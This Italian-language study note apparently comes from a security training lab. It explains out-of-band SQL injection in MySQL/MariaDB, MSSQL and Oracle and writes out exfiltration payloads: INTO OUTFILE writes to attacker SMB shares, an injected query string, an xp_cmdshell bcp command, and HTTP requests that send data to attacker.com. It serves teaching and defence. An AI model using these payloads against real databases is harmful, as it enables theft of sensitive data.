tags: sql_injection SQL_Injection_Out_of_Band
MySQL e MariaDB
In MySQL o MariaDB, l’iniezione SQL out-of-band può essere ottenuta utilizzando il comando SELECT … INTO OUTFILE o load_file. Questo comando consente a un aggressore di scrivere i risultati di una query in un file sul file system del server. Ad esempio:
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';
#Esempi:
#Richiesa mandata al nostro server http:
SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;
#Richiesta mandata al server SMB:
SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
#Esempio reale
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
- Quando secure_file_priv è impostato: MySQL limiterà le operazioni sui file come INTO OUTFILE alla directory specificata. Ciò significa che gli aggressori possono scrivere file solo in questa directory, limitando la loro capacità di esfiltrare i dati in posizioni arbitrarie.
- Quando secure_file_priv è vuoto: se la variabile secure_file_priv è vuota, MySQL non impone alcuna restrizione di directory, consentendo la scrittura di file in qualsiasi directory accessibile dal processo del server MySQL. Questa configurazione comporta un rischio maggiore in quanto fornisce maggiore flessibilità agli aggressori.
Microsoft SQL Server (MSSQL)
In MSSQL, l’iniezione SQL out-of-band può essere eseguita utilizzando funzionalità come xp_cmdshell, che consente l’esecuzione di comandi shell direttamente dalle query SQL. Questa funzionalità può essere sfruttata per scrivere dati in un file accessibile tramite una condivisione di rete:
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';In alternativa, è possibile utilizzare OPENROWSET o BULK INSERT per interagire con fonti di dati esterne, facilitando l’esfiltrazione dei dati tramite canali OOB.
Oracle
Nei database Oracle, l’iniezione SQL out-of-band può essere eseguita utilizzando i pacchetti UTL_HTTP o UTL_FILE. Ad esempio, il pacchetto UTL_HTTP può essere utilizzato per inviare richieste HTTP con dati sensibili:
DECLARE
req UTL_HTTP.REQ;
resp UTL_HTTP.RESP;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;